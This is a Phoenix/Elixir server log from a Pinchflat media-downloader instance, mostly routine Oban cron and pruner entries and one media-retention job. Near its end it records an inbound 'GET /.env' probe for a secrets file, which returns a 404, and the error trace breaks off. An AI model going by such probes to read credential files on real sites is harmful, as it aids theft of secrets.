20:14:00.030 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:25.655 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:55.656 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.032 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:25.657 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:55.660 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.034 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:25.663 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:55.665 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.036 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:25.667 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:55.670 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.038 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:25.673 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:55.675 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.040 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:25.678 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:55.680 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.041 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:25.683 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:55.685 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.043 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:25.686 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:55.688 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.044 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:25.688 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:55.689 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.046 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:25.690 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:55.691 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.048 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:25.693 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:55.694 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.050 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:25.695 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:55.696 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.052 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:25.698 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:55.700 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.053 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:25.702 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:55.703 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.055 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:25.704 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:55.704 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.057 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:25.706 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:55.707 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.058 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:25.708 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:55.709 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.060 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:25.709 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:55.711 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.061 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:25.712 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:55.713 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.063 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:25.714 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:55.715 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.064 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:25.717 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:55.718 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.065 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:25.719 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:55.720 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.067 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:25.722 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:55.723 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.069 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:25.724 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:55.725 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.070 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:25.727 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:55.729 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.072 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:25.730 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:55.731 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.074 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:25.732 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:55.733 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.076 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:25.734 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:55.735 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.078 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:25.737 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:55.739 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.079 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:25.740 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:55.741 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.081 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:25.743 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:55.745 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.081 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:25.747 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:55.749 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.083 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:25.751 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:55.753 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.084 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:25.755 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:55.757 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.086 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:25.759 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:55.760 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.088 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:25.762 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:55.764 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.088 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:25.766 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:55.768 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.090 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:25.769 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:55.771 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.091 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:25.772 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:55.774 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.093 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:25.777 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:55.780 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.095 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:25.782 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:55.784 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.096 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:25.786 [info] {"source":"oban","duration":2018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:55.789 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.098 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:25.791 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:55.794 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.099 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:25.798 [info] {"source":"oban","duration":2906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:55.800 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.100 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:25.803 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:55.806 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.102 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:25.809 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:55.812 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.106 [info] {"source":"oban","duration":2749,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[7271]} 21:00:00.113 [info] {"args":{},"id":7271,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1780448400112989030,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.115 [debug] QUERY OK source="media_items" db=2.4ms idle=793.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.115 [info] Culling 0 media items past their retention date 21:00:00.118 [debug] QUERY OK source="media_items" db=2.3ms idle=796.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.118 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.118 [info] {"args":{},"id":7271,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":5542,"event":"job:stop","queue_time":112385,"attempt":1,"tags":["media_item","local_data"]} 21:00:25.815 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:55.818 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.108 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:25.821 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:55.824 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.109 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:25.827 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:55.829 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.111 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:25.832 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:55.835 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.113 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:25.838 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:55.841 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.114 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:25.844 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:55.847 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.115 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:25.850 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:55.853 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.117 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:25.856 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:55.860 [info] {"source":"oban","duration":2293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.118 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:25.862 [info] {"source":"oban","duration":1848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:55.865 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.120 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:25.868 [info] {"source":"oban","duration":2475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:55.869 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.122 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:25.871 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:55.873 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.124 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:25.875 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:55.875 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.126 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:25.878 [info] {"source":"oban","duration":2126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:55.879 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.127 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:25.880 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:55.883 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.129 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:25.884 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:55.886 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.130 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:25.887 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:55.888 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.131 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:25.890 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:55.892 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.132 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:25.893 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:55.895 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.134 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:25.898 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:55.900 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.135 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:25.900 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:55.902 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.137 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:25.905 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:55.907 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.138 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:25.909 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:55.911 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.140 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:25.913 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:55.914 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.142 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:23.766 [info] GET /.env 21:23:23.767 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=438.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:23:23.767 [debug] QUERY OK source="settings" db=0.1ms idle=438.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:23:23.767 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:23:23.768 [error] #PID<0.128319.0> running PinchflatWeb.Endpoint (connection #PID<0.128318.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 